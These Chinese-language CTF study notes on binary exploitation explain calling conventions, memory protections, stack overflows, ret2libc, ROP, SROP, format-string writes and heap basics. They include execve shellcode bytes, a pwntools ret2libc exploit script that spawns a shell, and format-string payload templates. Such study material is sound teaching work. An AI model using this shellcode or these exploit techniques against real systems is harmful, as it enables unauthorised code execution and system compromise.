Pwn | 二进制安全
基础
程序调用机制
程序的栈是从进程地址空间的高地址向低地址增长的。
EBP为帧基指针, ESP为栈顶指针
调用(call):将当前的指令指针EIP(该指针指向紧接在call指令后的下条指令)压入堆栈,以备返回时能恢复执行下条指令;然后设置EIP指向被调函数代码开始处,以跳转到被调函数的入口地址执行。
离开(leave): 恢复主调函数的栈帧以准备返回。等价于指令序列movl %ebp, %esp(恢复原ESP值,指向被调函数栈帧开始处)和popl %ebp(恢复原ebp的值,即主调函数帧基指针)。
返回(ret):与call指令配合,用于从函数或过程返回。从栈顶弹出返回地址(之前call指令保存的下条指令地址)到EIP寄存器中,程序转到该地址处继续执行(此时ESP指向进入函数时的第一个参数)。若带立即数,ESP再加立即数(丢弃一些在执行call前入栈的参数)。使用该指令前,应使当前栈顶指针所指向位置的内容正好是先前call指令保存的返回地址。
需要注意,32 位和 64 位程序有以下简单的区别
-
x86
- 函数参数在函数返回地址的上方
-
x64
-
System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
-
内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。
-
调用约定
cdecl
又称C调用约定,是C/C++编译器默认的函数调用约定。所有非C++成员函数和未使用stdcall或fastcall声明的函数都默认是cdecl方式。函数参数按照从右到左的顺序入栈,函数调用者负责清除栈中的参数,返回值在EAX中。由于每次函数调用都要产生清除(还原)堆栈的代码,故使用cdecl方式编译的程序比使用stdcall方式编译的程序大(后者仅需在被调函数内产生一份清栈代码)。但cdecl调用方式支持可变参数函数(即函数带有可变数目的参数,如printf),且调用时即使实参和形参数目不符也不会导致堆栈错误。对于C函数,cdecl方式的名字修饰约定是在函数名前添加一个下划线;对于C++函数,除非特别使用extern "C",C++函数使用不同的名字修饰方式。
堆栈平衡
在ubuntu18以上的版本,64位的程序若包含了system(“/bin/sh”),就需要考虑堆栈平衡。
需要保证16字节对齐,即要保证payload的字节数是16的倍数
当内存地址作为操作数时,内存地址必须对齐 16Byte 、 32Byte 或 64Byte 。这里所说的对齐 xByte,就是指地址必须是 x 的倍数。
我们可以推测:使用 XMM 时,需要 16Byte 对齐;使用 YMM 时,需要 32Byte 对齐;使用 ZMM 时,需要 64Byte 对齐。
因此我们需要确保在执行这一指令时,rsp + 0x50 是 16 的倍数。直观地说,就是该地址必须以数字 0 结尾。
基于上述分析,我们可以在 vulnerable_function 的地址前增加一个新的地址,该地址恰好指向一个 ret 指令。这样一来,由于加入了一个新地址,栈顶被迫下移8个字节,使之对齐 16Byte ;同时,由于插入的地址指向了 ret 指令,程序的仍然可以顺利地进入 vulnerable_function 中。如下图所示:
危险函数
通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下
- 输入
gets
,直接读取一行,忽略'\x00'scanf
vscanf
read(buf)
- 输出
sprintf
- 字符串
strcpy
,字符串复制,遇到'\x00'停止strcat
,字符串拼接,遇到'\x00'停止bcopy
奇葩函数大赏
__readfsqword
读取 FS 段寄存器中存储的 64 位整数。__readfsqword(0x28u)
赋值给变量 v7
则表示将 FS 段寄存器中偏移为 0x28
的地址处存储的 64 位整数值赋值给变量 v7。
是canary的特征函数。
fork()
是解决 PIE 保护的函数之一。
alarm
alarm(0xAu)函数。alarm函数中的参数0xAu是十六进制无符号数,即十进制对应10,所以该函数的作用是在程序运行10秒后,给进程发送SIGALRM信号,如果不另编写程序接受处理此信号,则默认结束此程序。
可调用alarm(0)取消
如何调用终端 shell
system 函数
参数可以为 /bin/sh
或 sh
,也可以 /bin/cat xxx
?
程序保护机制
工具:Checksec
识别二进制文件的安全属性
checksec --file=文件名
NX
GCC 编译选项:
-z execstack // 禁用NX保护
-z noexecstack // 开启NX保护
NX即No-eXecute(不可执行)的意思,栈不可执行保护,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
换句话说,就是不能直接利用程序中的某一段代码或者自己填写代码来获得 shell。
克制:ret2shellcode
CANARY
GCC 编译选项:
-fno-stack-protector // 禁用
-fstack-protector // 开启
-fstack-protector-all // 完全开启
在函数开始时就随机产生一个值,将这个值CANARY放到栈上紧挨ebp的上一个位置,当攻击者想通过缓冲区溢出覆盖ebp或者ebp下方的返回地址时,一定会覆盖掉CANARY的值;当程序结束时,程序会检查CANARY这个值和之前的是否一致,如果不一致,则不会往下运行,从而避免了缓冲区溢出攻击。
canary设计是以“x00”结尾,本意就是为了保证canary可以截断字符串。
克制:所有单纯的栈溢出
RELRO
GCC 编译选项:
-z norelro // 关闭
-z lazy // 部分开启
-z now // 全部开启
堆栈地址随机化?
Partial RELRO
可以看到加上relro编译选项以后,数据segemnt加载到内存分裂成了两个vma:
- 包含
.got
的vma,在动态链接完成后就被保护起来了,属性设置为r--
。 - 包含
.data
和.bss
的vma,在运行时还需要读写访问的,属性设置为rw-
。
Full RELRO
克制:
PIE(ASLR)
GCC 编译选项:
-fpie -pie // 开启PIE,此时强度为1,半随机 code&data、stack、mmap、vdso随机化
-fPIE -pie // 开启PIE,此时为最高强度2,在1的基础上加上heap随机化
为了提升系统的安全,增大漏洞的攻击难度,提出了进程地址空间各区域随机化的措施,称之为ASLR(Address Space Layout Randomization)。ASLR通过随机放置进程关键数据区域的地址空间来防止攻击者能可靠地跳转到内存的特定位置来利用函数。现代操作系统一般都加设这一机制,以防范恶意程序对已知地址进行Return-to-libc攻击。
克制:所有需要用到堆栈精确地址的攻击,要想成功,必须用提前泄露地址
FORTIFY
GCC 编译选项:
-D_FORTIFY_SOURCE=1 // 较弱的检查
-D_FORTIFY_SOURCE=2 // 较强的检查
常用函数加强检查,检查是否存在缓冲区溢出的错误。
ORW
ORW
类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve
等),使得我们并不能正常 get shell
,只能通过ROP
的方式调用open
, read
, write
的来读取并打印flag
内容。
相关函数:prctl()
在实战中我们可以通过 seccomp-tools
来查看程序是否启用了沙箱,输入命令 sudo seccomp-tools dump ./pwn
即可查看程序沙箱。
其它参数:
dump:将bpf规则从可执行文件中dump下来。
seccomp-tools dump ./可执行文件名 [-f][inspect] [raw] [xxd]
disasm:将bpf规则反汇编出来
seccomp-tools disasm ./可执行文件名.bpf
asm:运用这个模块,我们可以写一个asm脚本,然后执行seccomp-tools asm [asm脚本名]
如果禁用了 execve
,由于system
函数实际上也是借由 execve
实现的,基本等同于“禁用”了system
。
Glibc 2.29 前解决方法
在 Glibc2.29
以前的 ORW
解题思路已经比较清晰了,主要是劫持 free_hook
或者 malloc_hook
写入 setcontext
函数中的 gadget,通过 rdi
索引,来设置相关寄存器,并执行提前布置好的 ORW ROP chains
。
<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret
Glibc 2.29 后解决方法
在 Glibc 2.29
之后 setcontext
中的gadget变成了以 rdx
索引,因此如果我们按照之前思路的话,还要先通过 ROP
控制 RDX
的值,如下所示:
.text:00000000000580DD mov rsp, [rdx+0A0h]
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
....
.text:00000000000581C6 mov rcx, [rdx+0A8h]
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn
相关工具
ROPgadget
可以在二进制文件中搜索Gadgets,以方便对ROP的利用。
我们知道x86都是靠栈来传递参数的,而x64的顺序是rdi, rsi, rdx, rcx, r8, r9,(这里6个寄存器可以被理解为Gadgets)。如果多于6个参数才会用栈。
使用方法
64位汇编传参,当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。
命令: ROPgadget --binary 文件名 --only "pop|ret" | grep rdi
命令: ROPgadget --binary 文件名 --only "pop|ret" | grep rsi
或者
命令: ROPgadget --binary 文件名 --only "pop|ret"
该工具除了可以用来查找 ret/rdi的地址,还可以用来查找一些字符串的地址
ROPgadget --binary 文件名 --sting '/bin/sh'
ROPgadget --binary 文件名 --sting '/sh'
ROPgadget --binary 文件名 --sting 'sh'
ROPgadget --binary 文件名 --sting 'cat flag'
ROPgadget --binary 文件名 --sting 'cat flag.txt'
生成rop链
ROPgadget --binary 文件名 --ropchain
栈溢出
ret2text
ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
ret2syscall
ret2syscall,即控制程序执行系统调用,获取 shell。即有system函数,要修改它的参数。
ret2shellcode
ret2shellcode是指攻击者需要自己将调用shell的机器码(也称shellcode)注入至内存中,随后利用栈溢出复写return_address,进而使程序跳转至shellcode所在内存。
要实现上述目的,就必须在内存中找到一个可写(这允许我们注入shellcode)且可执行(这允许我们执行shellcode)的段,并且需要知道如何修改这些段的内容。不同的程序及操作系统采取的保护措施不尽相同,因此如何注入shellcode也应当灵活选择。
找注入点
(设0x804a080被gets或xxx)
这里我们需要知道0x804a080所在段是否有执行权限,他必须有执行权限,输入的shellcode才能执行,
怎么判断所在段是否有执行权限呢?如下 用Gdb插件peda中:readelf 或者shell:readelf -S +文件名(注意大小写,一定是大S) 发现所在地址的段是.bss
gdb中在main下个断点,然后让程序跑起来,再使用vmmap
命令查看段的权限(RWX)
在pwndbg中用cyclic 200 生成200个字符,然后运行程序r 将200个字符输入其中,停下来后发现有错误地址,也就是溢出点
用cyclic –l 0x62616164计算出偏移offset为112
Exp
context(arch="i386",os="linux") #必须要有的 32位
# context(arch="amd64",os="linux") # 64位
shellcode = asm(shellcraft.sh()) #自动生成shellcode
payload = shellcode.ljust(112,b"A") + p32(0x804a080) #shellcode.ljust 用A凑齐112个字符
手打shellcode:
context(arch="i386",os="linux",log_level="debug")
shellcode=asm("""
push 0x68
push 0x73f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
""")
payload = shellcode.ljust(112,"A") + p32(0x804a080)
较短的 shellcode:
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" #64位 23字节
shellcode = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80' #32位 21字节
纯可见 ascll 字符 shellcode:
shellcode = b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" #64位
ret2libc
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。
已知system函数地址和"/bin/sh"地址
syad=0x08048320 #system函数的位置
shad=0x0804a024 #/bin/sh的位置
p=b"a"*(0x88+0x04)+p32(syad)+p32(0)+p32(shad)#其中p32(0) 是执行system函数后的存储地址,可以找个合适的值替换。
shad=0x0804a024 #/bin/sh 的位置
#0x0804849e 是call system函数的位置 只需后面加上/bin/sh 位置即可直接执行 不用再加一个地址作为存储
p=b"a"*(0x88+0x04)+p32(0x0804849e)+p32(shad)
可能原因:原来的eip的位置
wiki:
这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以'bbbb' 作为虚假的地址,其后参数对应的参数内容。
已知system函数地址
与上个基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")。
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
需要注意的是,这里是向程序中 bss 段的 buf2 处写入 /bin/sh 字符串,并将其地址作为 system 的参数传入。这样以便于可以获得 shell。
啥也没有
知识点
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
- https://github.com/niklasb/libc-database
基本做法
1.利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使 用的 libc 的版本。
2.程序里的函数的地址跟它所使用的 libc 里的函数地址不一样,程序里函数地址 = libc 里的函数地址 + 偏移 量,在1中找到了 libc 的版本,用同一个程序里函数的地址-libc 里的函数地址即可得到偏移量
3.得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后我们就可以构造 rop 去执 行`system('/bin/sh')这样的命令
泄露 libc 版本
在线查找libc版本的网站: https://libc.blukat.me/ 我们可以在上面那个网站上利用函数的末3位找到libc版本
计算偏移量
计算system函数地址的基本原理是: 在libc.so.6中,各个函数的相对地址是固定的,比如函数A相对于libc.so.6的起始地址为addr_A,函数B相对于libc.so. 6的起始地址为addr_B, 那么,如果我们能够泄漏进程内存空间中函数A的地址address_A,那么函数B在进程空间中的地址就可以计算出来 了,为address_A - addr_A + addr_B。
执行
32位程序运行执行指令的时候直接去内存地址寻址执行 64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序
使用LibcSearcher
from LibcSearcher import *
#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)
obj.dump("system") #system 偏移
obj.dump("str_bin_sh") #/bin/sh 偏移
obj.dump("__libc_start_main_ret")
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
ret2csu
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。
这里我们可以利用以下几点:
- 我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据(在函数最后)。
- 在往上看
mov rdx, r13;
,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。 - 在往下看,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。
SROP
需要条件:
- 可以通过栈溢出来控制栈的内容
- 需要知道相应的地址
- "/bin/sh"
- Signal Frame
- syscall
- sigreturn
- 需要有够大的空间来塞下整个 sigal frame
在目前的 pwntools 中已经集成了对于 SROP 的攻击。
格式化字符串
常见的有格式化字符串函数有
- 输入
- scanf
- 输出
函数 | 基本介绍 |
---|---|
printf | 输出到 stdout |
fprintf | 输出到指定 FILE 流 |
vprintf | 根据参数列表格式化输出到 stdout |
vfprintf | 根据参数列表格式化输出到指定 FILE 流 |
sprintf | 输出到字符串 |
snprintf | 输出指定字节数到字符串 |
vsprintf | 根据参数列表格式化输出到字符串 |
vsnprintf | 根据参数列表格式化输出指定字节到字符串 |
setproctitle | 设置 argv |
syslog | 输出日志 |
err, verr, warn, vwarn 等 | 。。。 |
格式化字符串基本格式如下:
%[parameter][flags][field width][.precision][length]type
每一种 pattern 的含义请具体参考维基百科的格式化字符串 。以下几个 pattern 中的对应选择需要重点关注
-
parameter
- n$,获取格式化字符串中的指定参数
-
flag
-
field width
- 输出的最小宽度
-
precision
- 输出的最大长度
-
length,输出的长度
- hh,输出一个字节
- h,输出一个双字节
-
type
- d/i,有符号整数
- u,无符号整数
- x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
- o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
- s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
- c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
- p, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
- n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
- %, '
%
'字面值,不接受任何 flags, width。
%n$x
利用如上的字符串,我们就可以获取到对应的第 n+1 个参数的数值。在调用输出函数的时候,其实,第一个参数的值其实就是该格式化字符串的地址。
小技巧总结
- 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
- 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
- 利用 %order\$x 来获取指定参数的值,利用 %order\$s 来获取指定参数对应地址的内容。
覆盖内存
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
无论是覆盖哪个地址的变量,我们基本上都是构造类似如下的 payload
...[overwrite addr]....%[overwrite offset]$n
其中... 表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤
- 确定覆盖地址
- 确定相对偏移
- 进行覆盖
在 x86 和 x64 的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12。再者,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志:
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
所以说,我们可以利用 %hhn 向某个地址写入单字节,利用 %hn 向某个地址写入双字节。
如%521c%1$hn
可以将指向第一项的地址的值改为521。
pwntool 自动找偏移:fmtstr
def exec_fmt(pad):
p = process("./fmt")
# send 还是 sendline以程序为准
p.send(pad)
return p.recv()
fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)
pwntool 自动化函数:fmtstr_payload
- offset:数据距离格式化字符串的偏移
- writes:往addr里写入value值,为字典{printf_got:addr}
- numbwritten=0:已经由printf写入的字节数
- write_size=‘byte’:指定逐byte/short/int写
例:payload = fmtstr_payload(offset,{printf_got: system_plt})
hijack GOT
在没有开启 RELRO 保护的前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。
假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤:
- 确定函数 A 的 GOT 表地址。
- 这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。
- 确定函数 B 的内存地址
- 这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。
- 将函数 B 的内存地址写入到函数 A 的 GOT 表地址处。
- 这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种
- 写入函数:write 函数。
- ROP
- 这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种
堆溢出
堆查看
使用 pwngdb 可以查看堆空间
堆分配函数
malloc
calloc
:calloc 在分配后会自动进行清空(memset),这对于某些信息泄露漏洞的利用来说是致命的。realloc
- 当 realloc(ptr,size) 的 size 不等于 ptr 的 size 时
- 如果申请 size > 原来 size
- 如果 chunk 与 top chunk 相邻,直接扩展这个 chunk 到新 size 大小
- 如果 chunk 与 top chunk 不相邻,相当于 free(ptr),malloc(new_size)
- 如果申请 size < 原来 size
- 如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变
- 如果相差可以容得下一个最小 chunk,则切割原 chunk 为两部分,free 掉后一部分
- 如果申请 size > 原来 size
- 当 realloc(ptr,size) 的 size 等于 0 时,相当于 free(ptr)
- 当 realloc(ptr,size) 的 size 等于 ptr 的 size,不进行任何操作
- 当 realloc(ptr,size) 的 size 不等于 ptr 的 size 时
计算实际堆栈分配大小
主要是计算我们开始写入的地址与我们所要覆盖的地址之间的距离。ptmalloc 分配出来的大小是对齐的。这个长度一般是字长的 2 倍,比如 32 位系统是 8 个字节,64 位系统是 16 个字节。但是对于不大于 2 倍字长的请求,malloc 会直接返回 2 倍字长的块也就是最小 chunk,比如 64 位系统执行malloc(0)
会返回用户区域为 16 字节的块。
注意用户区域的大小不等于 chunk_head.size,chunk_head.size = 用户区域大小 + 2 * 字长。
还有一点是之前所说的用户申请的内存大小会被修改,其有可能会使用与其物理相邻的下一个 chunk 的 prev_size 字段储存内容。
Use After Free
指针 free 后没有指向 null
关键在于释放后 程序下一次申请内存时会再赋给它?
基本步骤:
- 申请A
- free A
- 申请“B”
其它
GOT 劫持
GOT 表可写
速记
plt表和got表
plt表和got表是动态链接过程中的两个重要部分,它们可以帮助程序调用外部共享库中的函数,而不需要将其编译在可执行文件中。plt表和got表的含义和作用如下:
- plt表(Procedure Linkage Table)是程序链接表,它包含了调用外部函数的跳转指令,以及初始化外部调用指令的代码。plt表的每个表项对应一个外部函数,第一次调用时会跳转到got表中的伪地址,然后通过_dl_runtime_resolve函数解析出真实的函数地址,并回写到got表中。第二次调用时就可以直接跳转到真实的函数地址,不需要重新解析。
- got表(Global Offset Table)是全局偏移表,它包含了所有需要动态链接的外部函数的地址(在第一次执行后)。got表的前三项是特殊的,分别是动态段的地址、link_map对象的地址和_dl_runtime_resolve函数的地址。got表的其他项是与plt表一一对应的外部函数的地址,第一次调用前是指向plt表中的初始化代码的伪地址,第一次调用后被修改为真实的函数地址。
看输出出来的东西
返回值需要指向 exit